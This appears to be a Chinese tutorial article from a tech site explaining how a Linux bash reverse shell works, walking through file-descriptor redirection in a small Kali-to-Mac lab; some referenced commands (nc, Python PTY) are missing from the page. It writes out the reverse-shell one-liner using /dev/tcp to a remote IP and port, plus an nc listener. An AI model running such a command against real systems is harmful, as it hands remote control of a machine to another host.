当前位置: 萬仟网 > 网络运营>服务器>Linux > linux反弹shell的原理详解

linux反弹shell的原理详解

2020年11月21日  | 萬仟网网络运营  | 我要评论
完整命令反弹shell命令:利用nc反弹shell:原理bash -i > /dev/tcp/ip/port 0>&1 2>&1bash -i 打开一个交互式的bas

完整命令

反弹shell命令:

利用nc反弹shell:

原理

bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开一个交互式的bash
&是为了区分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

实验

通过一个小实验帮助大家理解

第一步,将shell的正确输出重定向到外部主机

假设我们在kali上输入的命令为:
bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

在mac上监听端口命令为:nc -l 9999

在这里插入图片描述

首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

在这里插入图片描述

但是当我们在kali上出入错误命令的时候,却存在回显。

在这里插入图片描述

第二步,将错误输出重定向到外部主机

我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。

在这里插入图片描述

这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:

在这里插入图片描述

这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

第三步,交出输入权限

只需要在第二步命令的基础上加上 0>&1即可。

在这里插入图片描述

这时候已经可以在mac上完全控制kali的shell了,实验结束。

其他

当shell不稳定时候用python的虚拟化终端:

参考:

https://blog.csdn.net/auuuuuuuu/article/details/89059176

到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索萬仟网以前的文章或继续浏览下面的相关文章希望大家以后多多支持萬仟网!

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

相关文章:

  • 浅析Linux之bash反弹shell原理

    环境攻击机:kali ip:192.168.25.144靶 机:centos ip:192.168.25.142过程kali 监听本地8888端... [阅读全文]
  • 详解shell中脚本参数传递的两种方式

    方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超... [阅读全文]
  • shell字符串截取报错:Bad substitution的解决

    问题重现:当前系统ubuntu16shell进行字符串截取运行 ${git_commit:0:6}报错:/tmp/jenkins7505855461406722... [阅读全文]
  • shell中set指令的用法详解

    语法功能说明set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将设置 ... [阅读全文]
  • Shell用sed命令删除特定行的方法

    sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧!sed命令常用到的两个选项: -... [阅读全文]
  • Linux Shell脚本中获取本机ip地址方法

    方法一:ifconfig -a命令解析 ifconfig -a      和window下执行此命令一样道理,返回本机所有ip信息 grep inet   ... [阅读全文]
  • 详解NC反弹shell的几种方法

    假如ubuntu、centos为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、cento... [阅读全文]
  • Linux Shell 如何获取参数的方法

    $# 是传给脚本的参数个数$0 是脚本本身的名字$1 是传递给该shell脚本的第一个参数$2 是传递给该shell脚本的第二个参数$@ 是传给脚本的所有参数的... [阅读全文]
  • shell模糊匹配与正则详解

    前言:正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。正则表达式正则表达式主要是用来描述一个句法规则的模式。其... [阅读全文]
  • shell之定时周期性执行脚本的方法示例

    示例1.编写测试脚本脚本 time .sh保存完毕后记得给予权限 chmod 777 test.sh2.添加定时任务内容编辑为:每一分钟执行一次3.查看定时任务... [阅读全文]
验证码:
Copyright © 2017-2020  萬仟网 保留所有权利. 粤ICP备17035492号-1